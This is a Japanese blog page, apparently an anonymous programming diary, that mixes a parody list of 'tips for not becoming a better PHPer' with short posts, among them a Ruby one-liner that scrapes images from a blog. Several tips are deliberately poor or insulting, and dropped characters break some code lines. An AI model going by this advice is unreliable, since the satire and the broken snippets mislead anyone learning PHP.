
もし、文字列変数の値と一緒に出力するときPHPではコンマの代わりにprintfを使うことが使える。

なぜ?コンマを使うよりも可読性がグッとあがるから

printf( “Hello, my name is %s“, $sName);

以下の代わりに上記のコードを使う。

echoHello, my name is “, $sName;

出力すべき変数が増えれば増えるほど、有効になっていく。とにかく迷ったならば、printfを使え、だ。

10. 三項演算子は一回まで

三項演算子はとても有効だ。しか優先順位に難があるせいで三項演算子ネストしようとすると以下のようなコードになってしま

$n = (($i == 1) ? 2 : (($i == 2) ? 3 :$i));

括弧だらけで読みにくいったらありゃしない。三項演算子を使うなら一回まで。約束守れないやつは丸めゴミ箱にでも捨てちまえ。

11. 真偽値のチェックは生でいけ

if ( $flag ) {
}

仕様をちゃんと把握しているなら真偽値のチェックなどこれで十分。

もし事前にbool型だというのが確定してるのなら「$flag === true」を使えばいい。

12. ++と--の演算子を見極めろ

インクリメント、デクリメント演算子は前に付くか後ろに付くかで意味が変わるので慣れるまでは非常にややこしい

けがからなくなるくらいなら初めから使わないほうが良い。見極められないなら使うな。それがPHPerなのだ。

13. 代入演算子を使え

文句なしだ。これは文句がない。

他にも色々あるので覚えておこう

$a %=  1;
$a &=  1;
$a |=  1;
$a ^=  1;
$a <<= 1;
$a >>= 1;

14. 変数dump関数はより便利に

てっとり早く画面に表示する際にpreはよく使うが、デザインの関係上画面の文字が見えないときがある。

なのでdivを使って以下のようにしとくと便利だろう。

function p($var) {
    echo "<div align='left' style='background-color:white;color:black;'><pre>";
    print_r($var);
    echo "</pre></div>";
}

15. 定数から手を洗え

君らが通常作るアプリケーションなんぞに、定数なんぞ必要ない。いいか、もう一度言う、お前ら程度のもんが、定数使おう何ぞ、おこがましいわ!

大丈夫。なんでもかんでも定数にする必要はない。結局設定ファイルに定数をずらずら作りまくってわけがからなくなってるパターンが多い。

貴様たいなもんに、定数は制御できん。いいか設定ファイルYAML等のデータで持つようにし、その連想配列データ構造を一つ持ってるだけで定数の変わりになる。

このメリットに比べれば、定数だと書き換えられなくて良いという利点などこの歯のカスほどのものだ。そんなものは丸めゴミ箱へ捨ててしまうといい。

認識を改めろ。俺たちはより良いPHPerにならないために努力している。

16. $_GETと$_POSTを生で使うな

できれば何かしら簡単なクラスでもいいのでラップしろ。

class Request {
    private $parameters;
    private $method;
    function __construct () {
        $this->method = $_SERVER['REQUEST_METHOD'];
        if ( strtoupper($this->method) === 'POST' ) {
            $this->parameters = $_POST;
        }
        else {
            $this->parameters = $_GET;
        }
    }
    function param ($key) {
        return isset($this->parameters[$key]) ? $this->parameters[$key] : null;
    }
}

これだけでもいい。たったこれだけでもとても便利だ。ここから拡張してGETやPOSTを明示的に取るメソッドとかも作ってみるといい。自分の手を動かすのだ!

17. 関数だのオブジェクトだのの問題ではな

例が良くない。こんなのは引数20個ある関数からset20回呼ぶオブジェクトに変わっただけではないか

そもそもこの20個の引数はなんなのか。何かのデータ構造なんであれば連想配列にして引数一つとして渡すべきだし、それぞれまったく異なる用途の変数なのであればWindowsプログラミングじゃあるまいし20個も引数取る時点設計が間違えている。

何がいいたいか。別に関数でもオブジェクトでもどっちでもいいということだ。

そんなことで悩んでる暇があったら設計を見直せ。

18. メソッドチェインを愛用せよ

スキあらば自分自身を返せ。スキあらばオブジェクトを返せ。配列はArrayObjectのARRAY_AS_PROPSで返せ。

ひたすらメソッドチェイン。来る日も来る日もメソッドチェイン。とにかくメソッドチェインを使い続けろ。そこに未来はある。

19. コードの汎用化は慎重に

どんなコードも繰り返すな。もし、少しでも同じコードを書いていたなら、それは関数に置き換えてしまえ。

・・・と、いうのはやめなさい。

一見同じように見えた処理でも前後の流れでまったく違うものということが往々にしてある。

まとめ方にも問題があるケースもある。何でもかんでも関数化すると、関数が膨大に増えていく。君は見たことがあるだろうか。common.phpやfunction.phpの恐ろしさを。

かに細かく関数化はされているが、適切に関数化していないのである。結合度が非常に高い。なんでもかんでも盲目的にまとめれば良いという話ではないのだ!

20. 結合度は適切に減らし、適切に結合せよ

あまりに極度に意識しすぎると、プログラムそのものができなくなる。そういう状態に陥る。

気を抜いて。そう気を抜いて。所詮あなたコードなんてすぐに消えてなくなるよ。きっともっと偉い人が作り直すよ。だからまずは思うが侭にやるといい。

結合度を減らすというのは非常に難しい何度何度も失敗し続けて、ようやくここは分けた方が良かったんだなと気付く。次に活かそうと心に決める。そしてまた同じ過ちを繰り返していくわけだ。

まずは実装することだ。これが一番の早道だ。まずはがっつり結合した関数をあえて作るといい。何も考えずに作ろう。

そしてその後に、一部分使いましたいとおもうことがあるはずだ。その時に関数に切り出そう。それを繰り返すといい。そのうち初めから分けた方が良いと気付く。

何事も経験が必要である経験を積まないプログラマ丸めゴミ箱に捨ててしまえ。

さて、先の例で言うならば、私ならadd_result_outputという関数を作ってしまうだろう。だってaddとresultを連続して呼ぶのはめんどくさいんだもん。一連の流れをいつも使うのなら、その流れをやってくれる関数を作ればいいじゃないか

function add_result_output ($iVar, $iVar2) {
    $r = add($iVar, $iVar2);
    echo result($r);
}

もっと言えばクラス化してしまってもいいかもしれない。どんな感じになるかは君の手を動かして確認しよう!


最後

このTipsはとてもわかりにくく、ニッチ過ぎる部分も多いかもしれない。

しかしもう一度タイトルを確認してほしい

あくまでも「より良いPHPerにならないための20Tips」なのだ。

君はこの記事を鵜呑みにしてはならない。PHPPHPと見抜けないPHPerはPHPを使うのは難しい


おまけ

もし、あなたPHPプログラマなら、公式のPHPドキュメントあなたのケツの穴を拭くための紙になるだろう。

私は、それぞれのセクションを眺めて、各関数でどんなことが出来るかなんぞ、歯クソのゴミ程に役に立たないとおもっている。動けばいい。はは。

あなたは、PHPで用意された既製関数で多くのことが実現できることに、(俺の仕事を減らすなと)驚くはずだ。

この記事があなたの役に立たない事を。

どんなコメントでも待ってます

ふざけんな!


個人的な感想

この記事に書かれている内容は、丸めゴミ箱に捨てた方が良いレベルです

もしここまで読んでしまったら、丸めゴミ箱に捨てましょう。



プログラ増田のあなぐら

2011-02-09

http://anond.hatelabo.jp/20110209221517

JavaScript ではローカル変数アクセスできるけど、

たとえできなくても引数で与えればいいだけのように感じられる。

JavaScript の内部関数は this 値が変わるのが面白いよな、that = this なんてよくやるわ。

2010-10-04

http://anond.hatelabo.jp/20101004121318

その認識がさっぱり分からないけどこれがリア充()

リア充関数ですか。引数はなんですか?

2010-09-20

[] みんくちゃんねるから画像を抜き出すワンライナー(改)

最近の記事は http://anond.hatelabo.jp/20100727011929 だと画像が取れなくなっているのでちょっと直した.あと引数で記事を指定できるようにしたよ.<<を半角に直して使ってね

ruby -ropen-uri -rnokogiri -e "Nokogiri::HTML(open ARGV[0]).search('img.pict').map{|e| e['src']}.each{|http| File.open(http.match(/.+\/(.+\.jpg)/)[1],'w'){|f| f << open(http).read }}" "http://minkch.com/archives/51611588.html"

2010-08-27

http://anond.hatelabo.jp/20100826113908

ふたりえっち()

ふたりエッチ関数ですね。引数はとらないのですか。

ふたりエッチ(夫, 妻, 仲良し度, 結婚継続年数)

こんな感じで

2010-07-28

http://anond.hatelabo.jp/20100728220232

それは、使ったほうが分かりやすい例ではあるけど、わかんない人も多いかと思うよ。

それよりも、関数引数にするアルゴリズム関連は 正直 やめてほしい。

長めの関数の中盤ぐらいに書いてあって、その中の値がおかしいのか、デバッグするときに、関数本体がどこにあるのか、

わざわざgrepしなきゃいけないとか、時間もったいないIDEジャンプでもいいけど、IDEサポートあってもめんどうだ。無いことだってあるんだよ。

その関数が随所で使いまわされているなら、まだわかるけどね。

かいている人間は、それでいいのかも知れないけど引き継いでデバッグする方の事も考えて書いて欲しい。

 

巨大なシステムやってると、書く方は量が少ないが、デバッグする方は、システム全部デバッグしてるんだぞと。

そうならないように、モジュール化してくれるのが一番だが、どんなにモジュール化してあっても、どこで起きてるかわからないから、全部見なきゃいけないバグなんて余裕で起きるんだよ。orz

100時間ぐらい、高負荷テストしてると落ちるとかね。当て推量はするけどさ、たのむ、みんな、分かりやすく他人がデバッグしやすく書こうぜ!

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